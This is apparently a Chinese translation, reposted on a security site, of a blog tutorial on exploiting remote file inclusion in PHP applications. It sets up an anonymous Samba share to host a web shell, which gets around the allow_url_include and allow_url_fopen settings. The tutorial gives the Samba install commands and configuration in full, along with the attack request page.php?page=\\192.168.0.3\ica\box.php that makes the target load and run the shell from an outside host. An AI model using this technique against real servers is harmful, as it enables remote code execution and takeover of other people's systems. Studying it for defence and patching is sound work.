利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制

xiannv  1805天前

在这篇博客文章中,我将演示在PHP应用程序中利用远程文件包含(RFI)漏洞的技术,该漏洞容易受到“文件包含攻击”的影响。我们将绕过远程URL包含限制,并执行RFI的开发,即使PHP环境配置为不包含来自远程HTTP/FTP URL的文件。

PHP和SMB共享文件访问 

在PHP配置文件中,“allow_url_include”包装器默认设置为“Off”,表示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止SMB URL加载。PHP的这种行为可以被滥用来从SMB共享加载远程托管的PHP web shell。

攻击场景

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP web shell时,SMB共享应该允许访问该文件。攻击者需要将SMB服务器配置为启用匿名浏览访问。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP web shell,SMB服务器将不会要求任何凭据,易受攻击的应用程序将包含web shell的PHP代码。  

让我们开始吧,首先我重新配置了PHP环境,并在php.ini文件中禁用“allow_url_fopen”以及“allow_url_include”。然后配置SMB服务器具有匿名读访问权限。一旦SMB共享准备就绪,就可以利用易受攻击的应用程序。

PHP环境设置

在其上托管易受攻击代码的机器将“allow_url_fopen”和“allow_url_include”设置为“Off” 

PHP版本“5.5.11”的当前配置的屏幕截图:

phpinfo.png

在继续之前,首先确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

rfi_check.png

当我试图从远程主机包含PHP Web shell时,应用程序抛出错误,RFI没有发生

使用匿名读取访问权限配置SAMBA服务器(Linux计算机)

使用下面提到的命令安装SAMBA服务器:

apt-get install samba

创建SMB共享目录(在本文中是/var/www/html/pub/)

mkdir /var/www/html/pub/

rfi_mkdir.png

在新创建的SMB共享目录上配置权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

rfi_permissions.png

运行以下命令删除SAMBA服务器配置文件的默认内容

echo > /etc/samba/smb.conf

将下面的内容放入“/etc/samba/smb.conf”文件中 

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

现在,重启SAMBA服务器以应用配置文件/etc/samba/smb.conf中的新配置

service smbd restart

成功重启SAMBA服务器后,尝试访问SMB共享,并确保SAMBA服务器不要求凭据。

在本文中,SAMBA服务器IP是192.168.0.3,我需要访问Windows文件资源管理器中的SMB共享, 如下所述:

\\192.168.0.3\

rfi_smb1.png

在SMB共享中托管PHP Web shell

很好,SMB共享是可访问的,并显示目录“ica”是存在的。

现在,在目录“/var/www/html/pub”中托管PHP shell,这是SMB共享“ica”的目录。

rfi_download.png

一旦我们在目录“/var/www/html/pub”中有了PHP shell,就可以使用Windows文件资源管理器访问SMB共享目录'ica'。

\\192.168.0.3\ica\

您将看到PHP shell存在是SMB共享目录。在本文中,它是box.php

rfi_smb2.png

攻击文件包含易受攻击的参数

完美,让我们使用这个PHP shell SMB链接,并使用易受攻击的PHP代码浏览它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

当当!易受攻击的PHP代码从SMB共享中获取Web shell,并在应用程序服务器上执行代码。我们已经绕过了限制,并包含了托管在远程主机上的Web shell。

rfi_shell.png

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html

最新评论

昵称
邮箱
提交评论